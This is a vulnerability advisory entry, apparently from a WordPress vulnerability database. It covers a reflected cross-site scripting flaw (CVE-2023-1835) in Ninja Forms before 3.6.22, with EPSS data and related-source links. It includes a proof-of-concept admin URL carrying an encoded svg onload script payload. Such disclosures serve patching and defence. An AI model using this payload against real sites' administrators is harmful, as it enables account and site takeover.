Lucene search
WpvulndbWPVDB-ID:B5FC223C-5EC0-44B2-B2F6-B35F9942D341HistoryApr 24, 2023 - 12:00 a.m.
Ninja Forms < 3.6.22 - Reflected XSS
2023-04-2400:00:00
wpscan.com
5
ninja forms
version 3.6.22
reflected cross-site scripting
admin page
high privilege users
poc
software
0.001 Low
EPSS
Percentile
49.1%
The plugin does not properly escape user input before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
PoC
Make a logged in admin open https://example.com/wp-admin/admin.php?page=nf-processing&title;=%253Csvg%252Fonload%253Dalert%2528%252FXSS%252F%2529%253E
| CPE | Name | Operator | Version |
|---|---|---|---|
| ninja-forms | lt | 3.6.22 |
Related
nuclei
nuclei
Ninja Forms < 3.6.22 - Cross-Site Scripting
2023-07-07 09:38:49
cve
cve
CVE-2023-1835
2023-05-15 13:15:10
wpexploit
wpexploit
Ninja Forms < 3.6.22 - Reflected XSS
2023-04-24 00:00:00
openvas
openvas
WordPress Ninja Forms Contact Form Plugin < 3.6.22 XSS Vulnerability
2023-05-16 00:00:00
cvelist
cvelist
CVE-2023-1835 Ninja Forms < 3.6.22 - Reflected XSS
2023-05-15 12:15:46
prion
prion
Cross site scripting
2023-05-15 13:15:00
nvd
nvd
CVE-2023-1835
2023-05-15 13:15:10
wordfence
wordfence